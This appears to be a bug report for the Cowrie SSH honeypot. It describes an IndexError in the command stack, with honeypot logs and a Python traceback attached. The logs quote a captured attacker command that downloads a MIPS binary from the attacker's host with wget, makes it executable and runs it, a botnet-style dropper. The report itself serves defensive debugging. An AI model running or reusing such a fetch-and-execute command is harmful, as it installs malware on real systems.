IndexError in cmdstack

[fe7ch]

I have it even with #418 patch applied.

2017-01-23T14:59:21+0300 [SSHChannel session (0) on SSHService 'ssh-connection' on HoneyPotSSHTransport,35,attackers_ip] CMD: cd /;   wget http://attackers_ip/bins/usb_bus.mips -O - > usb_bus ;   chmod 777 usb_bus ; ./usb_bus ;/gweerwe323f
2017-01-23T14:59:21+0300 [SSHChannel session (0) on SSHService 'ssh-connection' on HoneyPotSSHTransport,35,attackers_ip] Command found: cd /
2017-01-23T14:59:21+0300 [SSHChannel session (0) on SSHService 'ssh-connection' on HoneyPotSSHTransport,35,attackers_ip] Command found: wget http://attackers_ip/bins/usb_bus.mips -O - > usb_bus
2017-01-23T14:59:21+0300 [cowrie.commands.wget.HTTPProgressDownloader#info] Starting factory <HTTPProgressDownloader: http://attackers_ip/bins/usb_bus.mips>
2017-01-23T14:59:21+0300 [SSHChannel session (0) on SSHService 'ssh-connection' on HoneyPotSSHTransport,35,attackers_ip] QUEUED INPUT:
2017-01-23T14:59:25+0300 [HTTPPageDownloader,client] Not storing duplicate content 16676b1b35fd42a13ddb9f3f7ced75951fc926b542f270dc4778920bf4977089
2017-01-23T14:59:25+0300 [HTTPPageDownloader,client] Downloaded URL (http://attackers_ip/bins/usb_bus.mips) with SHA-256 16676b1b35fd42a13ddb9f3f7ced75951fc926b542f270dc4778920bf4977089 to dl/16676b1b35fd42a13ddb9f3f7ced75951fc926b542f270dc4778920bf4977089
2017-01-23T14:59:25+0300 [HTTPPageDownloader,client] Command found: chmod 777 /usb_bus
2017-01-23T14:59:25+0300 [HTTPPageDownloader,client] Command not found: ./usb_bus
2017-01-23T14:59:25+0300 [HTTPPageDownloader,client] Command not found: /gweerwe323f
2017-01-23T14:59:25+0300 [cowrie.commands.wget.HTTPProgressDownloader#info] Stopping factory <HTTPProgressDownloader: http://attackers_ip/bins/usb_bus.mips>
2017-01-23T15:00:08+0300 [twisted.internet.defer#critical] Unhandled error in Deferred:
2017-01-23T15:00:08+0300 [twisted.internet.defer#critical]
        Traceback (most recent call last):
          File "/home/cowrie/cowrie-env/lib/python2.7/site-packages/twisted/internet/tcp.py", line 292, in connectionLost
            protocol.connectionLost(reason)
          File "/home/cowrie/cowrie-env/lib/python2.7/site-packages/twisted/web/client.py", line 223, in connectionLost
            self.factory._disconnectedDeferred.callback(None)
          File "/home/cowrie/cowrie-env/lib/python2.7/site-packages/twisted/internet/defer.py", line 457, in callback
            self._startRunCallbacks(result)
          File "/home/cowrie/cowrie-env/lib/python2.7/site-packages/twisted/internet/defer.py", line 565, in _startRunCallbacks
            self._runCallbacks()
        --- <exception caught here> ---
          File "/home/cowrie/cowrie-env/lib/python2.7/site-packages/twisted/internet/defer.py", line 651, in _runCallbacks
            current.result = callback(current.result, *args, **kw)
          File "/home/cowrie/cowrie_mips/cowrie/commands/wget.py", line 233, in error
            self.exit()
          File "/home/cowrie/cowrie_mips/cowrie/core/honeypot.py", line 124, in exit
            self.protocol.cmdstack[-1].resume()
        exceptions.IndexError: list index out of range